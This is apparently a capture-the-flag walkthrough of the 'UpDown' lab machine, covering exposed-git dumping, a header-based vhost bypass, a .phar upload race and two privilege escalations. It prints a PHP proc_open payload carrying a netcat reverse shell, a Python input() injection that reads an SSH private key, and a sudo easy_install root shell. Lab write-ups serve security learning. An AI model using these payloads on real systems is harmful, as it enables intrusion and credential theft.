Summary
User Flag
- Searching the place for a dev space, dumping the parts for an entry;
- Knowing the phrase for something special, showing the ways to somewhere great.
- Seeing the place and reading the code, spotting the vulns and the craft;
- Checking the web for a mode, knowing the form then you are not far.
- Into the realm and get to the home, reading the bean and the animal;
- Knowing the bean superbs the animal, breaking out the stomach of the foke.
Root Flag
- Checking the rights, knowing the mights;
- All you need is finding the right site.
Scanning
# TCP Scan
> TARGET=10.129.110.172 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Web Enum
- Browse to the site, found domain name: siteisup.htb, add to /etc/hosts
- Perform the conventional web enum
- Path enum:
> dirsearch -u http://siteisup.htb/
[05:02:05] 200 - 0B - /dev/
[05:02:05] 301 - 310B - /dev -> http://siteisup.htb/dev/
[05:02:20] 200 - 1KB - /index.php
[05:02:20] 200 - 1KB - /index.php/login/
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://siteisup.htb/" -H "Host: FUZZ.siteisup.htb" --hl 39
000000019: 403 9 L 28 W 281 Ch "dev"
- Add dev.siteisup.htb to /etc/hosts
- Browse to http://dev.siteisup.htb/ gives 403
- Go back to the main page and investigate the form
- There is a form at
http://siteisup.htb
that can be used to check if a site is up - Searching for 127.0.0.1, shows
Hacking attempt was detected !
- Searching for
http://siteisup.htb
shows up
- Enabling
debug
mode shows the page’s source - Searching for
http://dev.siteisup.htb/
shows, seems to be down.
- Perform enum using the web form’s post feature
> ffuf -w /usr/share/wordlists/dirb/big.txt -X POST -u http://siteisup.htb/ -d 'site=FUZZ&debug=1' -mc all -fr "is up." -c -v
Found nothing new
- Going back to path search under
/dev
give promising results
> dirsearch -u http://siteisup.htb/dev/
[05:30:26] 200 - 772B - /dev/.git/branches/
[05:30:26] 301 - 315B - /dev/.git -> http://siteisup.htb/dev/.git/
[05:30:26] 200 - 298B - /dev/.git/config
[05:30:26] 200 - 3KB - /dev/.git/
[05:30:26] 200 - 73B - /dev/.git/description
[05:30:26] 200 - 21B - /dev/.git/HEAD
- There is a
git
repo there, use git-dumper
to dump everything
> python3 ~/tools/git-dumper/git_dumper.py http://siteisup.htb/dev/ dev
# check the logs
> git log
commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date: Wed Oct 20 16:38:54 2021 +0200
New technique in header to protect our dev vhost.
- This commit seems interesting, check out this commit
> git diff 8812785e31c879261050e72e20f298ae8c43b565 bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
diff --git a/.htaccess b/.htaccess
index b317ab5..44ff240 100644
--- a/.htaccess
+++ b/.htaccess
@@ -2,4 +2,3 @@ SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
- So, a special header is required to access somewhere, perhaps it’s
http://dev.siteisup.htb
- Add
Special-Dev: only4dev
as a header to try, this shows the content of http://dev.siteisup.htb
, it worked
> curl http://dev.siteisup.htb -H "Special-Dev: only4dev"
- Add a speacial header rule in burp to browse to the site
Source inspection: file upload
- Browsing the site
http://dev.siteisup.htb
found an upload form - The code can be found in the dev repo,
checker.php
- We can see that the checker performs some extension checking, however it doesn’t check for
.phar
extension
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
- Then it creats a folder with the md5 of time as the folder name, this can be enumerated. Later, it turned out that we don’t have to calculate this, because once a folder is created, you can browse to
/uploads
to view the md5 name.
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
- Then it reads the content of the file
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
- And it checks the sites one by one and delete the file after checking
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
- Our plan of attack is this: let’s create a .phar file with a huge number of sites to give us enough time to browse to our uploaded file. And we include some php code at the end of the file for RCE. Then, we upload the file. Finally, while the checker.php is busy checking the sites, we browse to the uploaded file to execute the code.
- Create a .phar file and write a lot of site address into it then followed by some php code
http://site
http://site
http://site
http://site
...
http://site
http://site
http://site
<?php
phpinfo();
?>
- Upload the file, then browse to
http://dev.siteisup.htb/uploads/
, the temp folder md5 can be seen, then browse to that folder and click on the uploaded file to get php code execution result. - Under
disable_functions
, we can see the following. However, proc_open
is not among these.
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
- Re-upload the .phar file and setup a nc listener to receive the shell.
PE: developer
- On the host under
/home/developer
folder, there is a file called siteisup
and a python script siteisup_test.py
. - We can see that
siteisup
is an executable with a s
bit, which effectively gives it the user rights of developer.
www-data@updown:/home/developer/dev$ ls -la
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 .
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 15:45 siteisup_test.py
- Inspect
siteisup_test.py
shows this is a python script that reads a user input. The input
function is vulnerable to python sandbox escape by invoking __import__
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
- Inspecting the
siteisup
executable, there is a reference to the above python script, so this binary must be calling the python script. This means, we can just call this binary and exploit python to escape the sandbox to achieve code execution in developer’s rights.
www-data@updown:/home/developer/dev$ strings siteisup
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
> ./siteisup
__import__('os').system('cat /home/developer/.ssh/id_rsa')
- This should give you the developer’s id_rsa
- Now, this file can be used to access ssh as developer. Login to fetch the user flag
PE: root
- Simply check sudo, there is a binary that can be run as sudo
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.H1LfIjX0EC
Writing /tmp/tmp.H1LfIjX0EC/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.H1LfIjX0EC/egg-dist-tmp-fqrhl7
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
- You should be root now, fetch the root flag